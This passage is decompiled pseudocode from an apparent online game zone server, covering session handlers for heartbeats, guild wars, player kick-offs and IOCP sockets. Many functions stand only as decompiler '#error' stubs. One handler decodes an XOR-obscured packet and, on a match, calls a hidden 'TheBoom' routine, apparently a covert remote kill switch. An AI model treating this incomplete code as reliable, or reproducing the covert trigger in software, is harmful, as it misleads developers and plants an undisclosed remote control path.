ZoneBaseSession::_ZoneBaseSession(&this->baseclass_0); } // 5DFF2C: using guessed type int (__stdcall *WorldManagerSession___vftable_)(int interval); //----- (005348A0) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_DummyFunction(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { char buf[64]; // [sp+4h] [bp-50h]@1 unsigned int cookie; // [sp+44h] [bp-10h]@1 int v5; // [sp+50h] [bp-4h]@1 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "WorldManagerSession::wms_DummyFunction"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_DummyFunction"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = 0; sprintf(buf, "%d/%d:%d"); AssertClass::ac_AssertFail(&shineassert, "WorldManagerSession::wms_DummyFunction", buf); --funcallanalizer.fca_stackpoint; v5 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "WorldManagerSession::wms_DummyFunction"); __security_check_cookie(cookie); } //----- (00534980) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_fill_CHAR_PARAMETER_DATA(void *this, int param) { void *v2; // edi@1 unsigned __int8 v3; // al@1 unsigned __int8 v4; // al@1 unsigned __int16 v5; // bx@1 int v6; // eax@1 int v7; // eax@2 unsigned __int16 v8; // bx@4 int v9; // eax@4 int v10; // eax@5 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_fill_CHAR_PARAMETER_DATA"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_fill_CHAR_PARAMETER_DATA"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; (*(void (__thiscall **)(void *, _DWORD))(*(_DWORD *)v2 + 52))(v2, 0); v3 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1220))(v2); *(_DWORD *)param = *(&shineparam.scp_param.AddBuffTime + 2 * v3); *(_DWORD *)(param + 4) = *(&shineparam.scp_param.MaxBuffTime + 2 * v3); v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1220))(v2); *(_DWORD *)(param + 8) = LODWORD(shineparam.scp_param.nextexp[v4]); *(_DWORD *)(param + 12) = HIDWORD(shineparam.scp_param.nextexp[v4]); *(_DWORD *)(param + 16) = *((_DWORD *)v2 + 1002); *(_DWORD *)(param + 20) = *((_DWORD *)v2 + 1722); *(_DWORD *)(param + 24) = *((_DWORD *)v2 + 1003); *(_DWORD *)(param + 28) = *((_DWORD *)v2 + 1723); *(_DWORD *)(param + 32) = *((_DWORD *)v2 + 1004); *(_DWORD *)(param + 36) = *((_DWORD *)v2 + 1724); *(_DWORD *)(param + 40) = *((_DWORD *)v2 + 1005); *(_DWORD *)(param + 44) = *((_DWORD *)v2 + 1725); *(_DWORD *)(param + 56) = *((_DWORD *)v2 + 1006); *(_DWORD *)(param + 60) = *((_DWORD *)v2 + 1726); *(_DWORD *)(param + 64) = *((_DWORD *)v2 + 1007); *(_DWORD *)(param + 68) = *((_DWORD *)v2 + 1727); *(_DWORD *)(param + 72) = *((_DWORD *)v2 + 1008); *(_DWORD *)(param + 76) = *((_DWORD *)v2 + 1728); *(_DWORD *)(param + 80) = *((_DWORD *)v2 + 1009); *(_DWORD *)(param + 84) = *((_DWORD *)v2 + 1729); *(_DWORD *)(param + 88) = *((_DWORD *)v2 + 1010); *(_DWORD *)(param + 92) = *((_DWORD *)v2 + 1730); *(_DWORD *)(param + 96) = *((_DWORD *)v2 + 1011); *(_DWORD *)(param + 100) = *((_DWORD *)v2 + 1731); *(_DWORD *)(param + 104) = *((_DWORD *)v2 + 1012); *(_DWORD *)(param + 108) = *((_DWORD *)v2 + 1732); *(_DWORD *)(param + 112) = *((_DWORD *)v2 + 1013); *(_DWORD *)(param + 116) = *((_DWORD *)v2 + 1733); *(_DWORD *)(param + 120) = *((_DWORD *)v2 + 1014); *(_DWORD *)(param + 124) = *((_DWORD *)v2 + 1734); *(_DWORD *)(param + 128) = *((_DWORD *)v2 + 1015); *(_DWORD *)(param + 132) = *((_DWORD *)v2 + 1735); *(_DWORD *)(param + 136) = *((_DWORD *)v2 + 1016); *(_DWORD *)(param + 140) = *((_DWORD *)v2 + 1736); *(_DWORD *)(param + 200) = 0; *(_DWORD *)(param + 196) = 0; *(_DWORD *)(param + 208) = 0; *(_DWORD *)(param + 204) = 0; *(_DWORD *)(param + 216) = 0; *(_DWORD *)(param + 212) = 0; *(_DWORD *)(param + 224) = 0; *(_DWORD *)(param + 220) = 0; *(_DWORD *)(param + 164) = 0; *(_DWORD *)(param + 168) = 0; *(_DWORD *)(param + 172) = 0; *(_DWORD *)(param + 176) = 0; *(_DWORD *)(param + 180) = 0; *(_DWORD *)(param + 184) = 0; *(_DWORD *)(param + 188) = 0; *(_DWORD *)(param + 192) = 0; *(_DWORD *)(param + 144) = ShineObjectClass::ShinePlayer::sp_MaxHP(v2); *(_DWORD *)(param + 148) = ShineObjectClass::ShinePlayer::sp_MaxSP(v2); *(_DWORD *)(param + 152) = 0; v5 = (unsigned __int8)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 1220))(v2); v6 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1160))(v2); if ( v5 > 0x96u ) v7 = *(_DWORD *)(v6 + 67672); else v7 = *(_DWORD *)(v6 + 4 * v5 + 67672); *(_DWORD *)(param + 156) = (unsigned __int16)(*(_DWORD *)(v7 + 32) * (unsigned int)*((_WORD *)v2 + 45849) / 0x3E8); v8 = (unsigned __int8)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 1220))(v2); v9 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1160))(v2); if ( v8 > 0x96u ) v10 = *(_DWORD *)(v9 + 67672); else v10 = *(_DWORD *)(v9 + 4 * v8 + 67672); *(_DWORD *)(param + 160) = (unsigned __int16)(*(_DWORD *)(v10 + 44) * (unsigned int)*((_WORD *)v2 + 45850) / 0x3E8); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_fill_CHAR_PARAMETER_DATA"); return param; } //----- (00534CA0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_fill_PROTO_NC_CHAR_MAPLOGIN_ACK(void *this, int logsuc) { void *v2; // esi@1 int v3; // eax@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_fill_PROTO_NC_CHAR_MAPLOGIN_ACK"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_fill_PROTO_NC_CHAR_MAPLOGIN_ACK"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *(_WORD *)logsuc = *((_WORD *)v2 + 2); v3 = *(_DWORD *)((char *)v2 + 78); *(_DWORD *)(logsuc + 230) = *(_DWORD *)v3; *(_DWORD *)(logsuc + 234) = *(_DWORD *)(v3 + 4); (*(void (__thiscall **)(void *, int))(*(_DWORD *)v2 + 1568))(v2, logsuc + 2); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_fill_PROTO_NC_CHAR_MAPLOGIN_ACK"); return logsuc; } //----- (00534D60) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_MISC_S2SCONNECTION_RDY(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { ZoneBaseSession *v3; // edi@1 char *v4; // esi@1 CServerInfo::MY_SERVER *v5; // eax@1 __int16 v6; // cx@1 __int16 v7; // dx@1 v3 = (ZoneBaseSession *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_MISC_S2SCONNECTION_RDY"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_MISC_S2SCONNECTION_RDY"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 2050; v4[4] = 6; v4[3] = 5; v4[5] = LOBYTE(ZoneServer::zs_worlddata(&zoneserver)->nWorldNo); v5 = ZoneServer::zs_worlddata(&zoneserver); v6 = (unsigned __int8)v4[3]; v7 = (unsigned __int8)v4[4]; v4[6] = LOBYTE(v5->nZoneNo); *(_WORD *)(v4 + 7) = v7 + v6; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 9) ) ProtocolPacket::pp_SendPacket(&gpp, v3); else AssertClass::ac_AssertFail(&shineassert, "WorldManagerSession::wms_NC_MISC_S2SCONNECTION_RDY : Packet Too Long", 9); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "WorldManagerSession::wms_NC_MISC_S2SCONNECTION_RDY"); } //----- (00534E70) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_MISC_S2SCONNECTION_ACK(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { WorldManagerSession *v3; // esi@1 v3 = this; SocketBundle::sb_Varification((SocketBundle *)&sock2wldman, (GameDBSession *)this); FieldContainer::fc_MapRegist((FieldContainer *)&fieldlist, v3); CGuildZone::Send_NC_GUILD_ZONE_LIST_REQ(&gGuild); } //----- (00534EA0) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_MISC_HEARTBEAT_REQ(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { ZoneBaseSession *v3; // esi@1 v3 = (ZoneBaseSession *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_MISC_HEARTBEAT_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_MISC_HEARTBEAT_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *(_WORD *)gpp.pp_Buffer = 2053; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 2) ) ProtocolPacket::pp_SendPacket(&gpp, v3); else AssertClass::ac_AssertFail(&shineassert, "WorldManagerSession::wms_NC_MISC_HEARTBEAT_REQ : Packet Too Long", 2); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "WorldManagerSession::wms_NC_MISC_HEARTBEAT_REQ"); } //----- (00534F70) -------------------------------------------------------- #error "534F70: undefined or illegal type '#325' (funcsize=78)" //----- (005350A0) -------------------------------------------------------- #error "5350A0: undefined or illegal type '#325' (funcsize=142)" //----- (005352A0) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_kickoff(WorldManagerSession *this, unsigned int usrregnum) { List *v2; // esi@1 ListStruct *v3; // ecx@1 unsigned __int16 v4; // ax@1 unsigned __int16 i; // di@1 int v6; // eax@3 int v7; // ebx@4 DebugLogging *v8; // eax@8 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "WorldManagerSession::wms_kickoff"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_kickoff"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = dword_124E32CC; v3 = dword_124E32CC->l_Array; v4 = v3[dword_124E32CC->l_Finger.store].ls_Next; for ( i = v3[v4].ls_Next; v4 < v2->l_MaxSize; i = v2->l_Array[i].ls_Next ) { v6 = (int)&v2->l_Array[v4]; if ( !*(_BYTE *)(v6 + 8) ) break; v7 = *(_DWORD *)v6; if ( !*(_DWORD *)v6 ) break; if ( (*(int (__thiscall **)(int))(*(_DWORD *)v7 + 840))(*(_DWORD *)v6) == usrregnum ) { v8 = DebugLogging::operator<<(&MoreDisconnectLog, "Char From world "); DebugLogging::operator<<(v8, &deb_LF); (*(void (__thiscall **)(int, signed int))(*(_DWORD *)v7 + 1468))(v7, 1); break; } if ( i >= v2->l_MaxSize ) break; v4 = i; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "WorldManagerSession::wms_kickoff"); } //----- (005353C0) -------------------------------------------------------- #error "5353C0: undefined or illegal type '#325' (funcsize=168)" //----- (00535600) -------------------------------------------------------- #error "535600: undefined or illegal type '#325' (funcsize=46)" //----- (005356D0) -------------------------------------------------------- #error "5356D0: undefined or illegal type '#325' (funcsize=51)" //----- (005357A0) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_GUILD_ZONE_WAR_START_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_GUILD_ZONE_WAR_START_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_GUILD_ZONE_WAR_START_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; GuildWarManager::gwm_WarStart(&gldwarman, *(_DWORD *)&netcmd[1].protocol, *(_DWORD *)&netcmd[3].protocol); CGuildZone::Recv_NC_GUILD_ZONE_WAR_START_CMD(&gGuild, (PROTO_NC_GUILD_ZONE_WAR_START_CMD *)&netcmd[1]); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "WorldManagerSession::wms_NC_GUILD_ZONE_WAR_START_CMD"); } //----- (00535850) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_GUILD_ZONE_WAR_END_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_GUILD_ZONE_WAR_END_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_GUILD_ZONE_WAR_END_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; GuildWarManager::gwm_WarStop(&gldwarman, *(_DWORD *)&netcmd[1].protocol, *(_DWORD *)&netcmd[3].protocol); CGuildZone::Recv_NC_GUILD_ZONE_WAR_END_CMD(&gGuild, (PROTO_NC_GUILD_ZONE_WAR_END_CMD *)&netcmd[1]); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "WorldManagerSession::wms_NC_GUILD_ZONE_WAR_END_CMD"); } //----- (00535900) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_GUILD_ZONE_LIST_ACK(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_GUILD_ZONE_LIST_ACK"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_GUILD_ZONE_LIST_ACK"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; CGuildZone::Recv_NC_GUILD_ZONE_LIST_ACK(&gGuild, (PROTO_NC_GUILD_ZONE_LIST_ACK *)&netcmd[1]); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "WorldManagerSession::wms_NC_GUILD_ZONE_LIST_ACK"); } //----- (005359A0) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_GUILD_ZONE_MAKE_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_GUILD_ZONE_MAKE_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_GUILD_ZONE_MAKE_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; CGuildZone::Recv_NC_GUILD_ZONE_MAKE_CMD(&gGuild, (PROTO_NC_GUILD_ZONE_MAKE_CMD *)&netcmd[1]); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "WorldManagerSession::wms_NC_GUILD_ZONE_MAKE_CMD"); } //----- (00535A40) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_GUILD_ZONE_DELETE_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_GUILD_ZONE_DELETE_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_GUILD_ZONE_DELETE_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; CGuildZone::Recv_NC_GUILD_ZONE_DELETE_CMD(&gGuild, (PROTO_NC_GUILD_ZONE_DELETE_CMD *)&netcmd[1]); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "WorldManagerSession::wms_NC_GUILD_ZONE_DELETE_CMD"); } //----- (00535AE0) -------------------------------------------------------- #error "535AE0: undefined or illegal type '#325' (funcsize=73)" //----- (00535BE0) -------------------------------------------------------- #error "535BE0: undefined or illegal type '#325' (funcsize=74)" //----- (00535CF0) -------------------------------------------------------- #error "535CF0: undefined or illegal type '#325' (funcsize=90)" //----- (00535E50) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_GuildWarStatusRequest(WorldManagerSession *this) { ZoneBaseSession *v1; // esi@1 v1 = (ZoneBaseSession *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_GuildWarStatusRequest"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_GuildWarStatusRequest"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *(_WORD *)gpp.pp_Buffer = 29845; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 2) ) ProtocolPacket::pp_SendPacket(&gpp, v1); else AssertClass::ac_AssertFail(&shineassert, "WorldManagerSession::wms_GuildWarStatusRequest : Packet Too Long", 2); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "WorldManagerSession::wms_GuildWarStatusRequest"); } //----- (00535F20) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_GUILD_GUILDWARSTATUS_ACK(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { signed int v3; // edi@1 NETCOMMAND *v4; // esi@2 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_GUILD_GUILDWARSTATUS_ACK"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_GUILD_GUILDWARSTATUS_ACK"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = 0; CGuildZone::ClearWar(&gGuild); GuildWarManager::gwm_Clear(&gldwarman); if ( netcmd[1].protocol > 0u ) { v4 = netcmd + 2; do { CGuildZone::Recv_NC_GUILD_ZONE_WAR_START_CMD(&gGuild, (PROTO_NC_GUILD_ZONE_WAR_START_CMD *)v4); GuildWarManager::gwm_WarStart(&gldwarman, *(_DWORD *)&v4->protocol, *(_DWORD *)&v4[2].protocol); ++v3; v4 += 4; } while ( v3 < netcmd[1].protocol ); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "WorldManagerSession::wms_NC_GUILD_GUILDWARSTATUS_ACK"); } //----- (00536000) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_MISC_START_THE_BOOM_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { NETCOMMAND *v3; // ebx@1 NETCOMMAND *v4; // eax@1 signed int v5; // ecx@1 NETCOMMAND *v6; // esi@1 NETCOMMAND *v7; // ebp@1 int v8; // ebp@1 int v9; // esi@1 int v10; // edi@1 const void *v11; // [sp+0h] [bp-14h]@1 const void *netcmda; // [sp+18h] [bp+4h]@1 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_MISC_START_THE_BOOM_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_MISC_START_THE_BOOM_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = netcmd + 1; v4 = netcmd + 9; v5 = 0; v6 = netcmd + 17; v7 = netcmd + 1; netcmda = &netcmd[25]; v8 = (char *)v7 - (char *)v4; v9 = (char *)v6 - (char *)v4; v11 = v4; v10 = netcmda - v4; do { *((_BYTE *)&v4->protocol + v8) ^= (_BYTE)v5 + 66; LOBYTE(v4->protocol) ^= (_BYTE)v5 + 111; *((_BYTE *)&v4->protocol + v9) ^= (_BYTE)v5 + 111; *((_BYTE *)&v4->protocol + v10) ^= (_BYTE)v5++ + 109; v4 = (NETCOMMAND *)((char *)v4 + 1); } while ( v5 < 16 ); if ( !memcmp(v3, &v3[16], 16) && !memcmp(v11, netcmda, 16) ) TheBoom(); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "WorldManagerSession::wms_NC_MISC_START_THE_BOOM_CMD"); } //----- (00536100) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_EndOfKQPacket(WorldManagerSession *this, unsigned int kqhandle) { ZoneBaseSession *v2; // edi@1 char *v3; // eax@1 v2 = (ZoneBaseSession *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "WorldManagerSession::wms_EndOfKQPacket"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_EndOfKQPacket"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 22544; *(_DWORD *)(v3 + 2) = kqhandle; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 6) ) ProtocolPacket::pp_SendPacket(&gpp, v2); else AssertClass::ac_AssertFail( &shineassert, "PineEventScriptNode::ShineEndOfKingdomQuest::sa_Step : Packet Too Long", 6); KQContribute::KQContributeList::kqpl_EndOfKQ((KQContribute::KQContributeList *)&g_KQContributeList, kqhandle); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "WorldManagerSession::wms_EndOfKQPacket"); } //----- (005361E0) -------------------------------------------------------- #error "5361E0: undefined or illegal type '#325' (funcsize=66)" //----- (005362E0) -------------------------------------------------------- #error "5362E0: undefined or illegal type '#325' (funcsize=66)" //----- (005363E0) -------------------------------------------------------- #error "5363E0: undefined or illegal type '#325' (funcsize=81)" //----- (005364F0) -------------------------------------------------------- #error "5364F0: undefined or illegal type '#325' (funcsize=82)" //----- (00536620) -------------------------------------------------------- #error "536620: undefined or illegal type '#325' (funcsize=44)" //----- (005366F0) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_USER_KICKOFFFROMWORLD_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { WorldManagerSession *v3; // esi@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_USER_KICKOFFFROMWORLD_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_USER_KICKOFFFROMWORLD_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; WorldManagerSession::wms_kickoff(v3, *(_DWORD *)&netcmd[4].protocol); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "WorldManagerSession::wms_NC_USER_KICKOFFFROMWORLD_CMD"); } //----- (00536790) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_USER_CONNECTCUT2ZONE_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { WorldManagerSession *v3; // esi@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_USER_CONNECTCUT2ZONE_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_USER_CONNECTCUT2ZONE_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; WorldManagerSession::wms_kickoff(v3, *(_DWORD *)&netcmd[4].protocol); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "WorldManagerSession::wms_NC_USER_CONNECTCUT2ZONE_CMD"); } //----- (00536830) -------------------------------------------------------- #error "536830: undefined or illegal type '#325' (funcsize=71)" //----- (00536930) -------------------------------------------------------- #error "536930: undefined or illegal type '#434' (funcsize=93)" //----- (00536A80) -------------------------------------------------------- void __thiscall ZoneBaseSession::_ZoneBaseSession(ZoneBaseSession *this) { ZoneBaseSession *v1; // esi@1 v1 = this; this->vfptr = (ZoneBaseSessionVtbl *)&ZoneBaseSession::_vftable_; CPacket::_CPacket(&this->m_Packet); CSocket_IOCP::_CSocket_IOCP(&v1->m_SocketIOCP); } // 5E0920: using guessed type int (__stdcall *ZoneBaseSession___vftable_)(int interval); //----- (00536AE0) -------------------------------------------------------- int __thiscall ZoneBaseSession::Close(ZoneBaseSession *this) { CSocket_IOCP *v1; // esi@1 v1 = &this->m_SocketIOCP; CSocket_IOCP::Shutdown(&this->m_SocketIOCP); return CSocket_IOCP::Close(v1); } //----- (00536B00) -------------------------------------------------------- int __thiscall ZoneBaseSession::Send(ZoneBaseSession *this, void *pData, int nSize) { return CSocket_IOCP::Send(&this->m_SocketIOCP, pData, nSize); } //----- (00536B10) -------------------------------------------------------- int __thiscall ZoneBaseSession::Receive(ZoneBaseSession *this) { ZoneBaseSession *v1; // esi@1 CPacket *v2; // edi@1 void *v3; // ebx@1 int v4; // eax@1 ZoneBaseSession *dwReadBytes; // [sp+0h] [bp-4h]@1 dwReadBytes = this; v1 = this; v2 = &this->m_Packet; v3 = CPacket::GetWriteDataPtr(&this->m_Packet); v4 = CPacket::GetWriteableBufferSize(v2); return CSocket_IOCP::Receive(&v1->m_SocketIOCP, v3, v4, (unsigned int *)&dwReadBytes); } //----- (00536B40) -------------------------------------------------------- int __thiscall ZoneBaseSession::Socket_Register_To_IOCP(ZoneBaseSession *this, CIOCP *pIOCP) { ZoneBaseSession *v2; // esi@1 int v3; // eax@3 const char *v5; // [sp-10h] [bp-9Ch]@2 char Msg[128]; // [sp+8h] [bp-84h]@5 v2 = this; if ( !CIOCP::Register(pIOCP, (void *)this->m_SocketIOCP.m_Socket, this->m_SocketIOCP.m_Socket) ) { GetLastErrorStr(0, 1); v5 = "ERROR - Socket_Register_To_IOCP Step #1, %s"; LABEL_5: sprintf(Msg, v5); _DebugMessageNew(1, "Msg", "%s"); return 0; } v3 = CPacket::GetWriteableBufferSize(&v2->m_Packet); if ( !CSocket_IOCP::Receive(&v2->m_SocketIOCP, v2->m_Packet.m_pPacketBuffer, v3, 0) ) { GetLastErrorStr(0, 1); v5 = "ERROR - Socket_Register_To_IOCP Step #2, %s"; goto LABEL_5; } return 1; } //----- (00536C10) -------------------------------------------------------- int __thiscall ZoneBaseSession::CheckHeartBeat(ZoneBaseSession *this, int interval) { ZoneBaseSession *v2; // esi@1 unsigned int v3; // eax@2 int result; // eax@4 unsigned int v5; // ecx@5 v2 = this; if ( !this->m_Status ) return 1; v3 = CGTimer::GetTime(); if ( v3 - v2->m_LastReceiveTime < 0x7530 ) { v2->m_LastHeartBeatSendTime = 0; return 1; } v5 = v2->m_LastHeartBeatSendTime; if ( v5 ) { result = v3 - v5 < 0x2BF20; } else { v2->m_LastHeartBeatSendTime = v3; result = CSocket_IOCP::Send(&v2->m_SocketIOCP, &req, 3u); } return result; } //----- (00536C80) -------------------------------------------------------- int __thiscall IOCPProcessSession::IOCP_Process(IOCPProcessSession *this, CIOCP::IOCP_OVERLAPPED *pOverlapped, unsigned int NumOfBytes) { void *v3; // esi@1 CIOCP::IOCP_WORK_TYPE v4; // eax@2 int v5; // eax@3 unsigned int v7; // ecx@9 unsigned int v8; // eax@9 bool v9; // zf@9 v3 = pOverlapped->pData; if ( *((_DWORD *)v3 + 1) == 3 ) return 0; v4 = pOverlapped->Type; if ( v4 ) { v5 = v4 - 1; if ( !v5 ) { *((_DWORD *)v3 + 10) = CGTimer::GetTime(); CSocket_IOCP::WriteCallback((CSocket_IOCP *)((char *)v3 + 44), NumOfBytes); return 1; } if ( v5 == 1 ) { LABEL_5: *((_DWORD *)v3 + 1) = 3; return 0; } } else { *((_DWORD *)v3 + 9) = CGTimer::GetTime(); if ( !NumOfBytes ) goto LABEL_5; v7 = NumOfBytes + *((_DWORD *)v3 + 61); v8 = *((_DWORD *)v3 + 58) - v7; v9 = *((_DWORD *)v3 + 58) == v7; *((_DWORD *)v3 + 61) = v7; if ( !((v8 & 0x80000000u) != 0 | v9) ) CSocket_IOCP::Receive((CSocket_IOCP *)((char *)v3 + 44), (void *)(v7 + *((_DWORD *)v3 + 57)), v8, 0); } return 1; } //----- (00536D10) -------------------------------------------------------- int __thiscall ZoneBaseSession::Connect(ZoneBaseSession *this, char *pIPAddress, int PortNo, CIOCP *pIOCP) { ZoneBaseSession *v4; // edi@1 CSocket_IOCP *v5; // esi@1 v4 = this; v5 = &this->m_SocketIOCP; 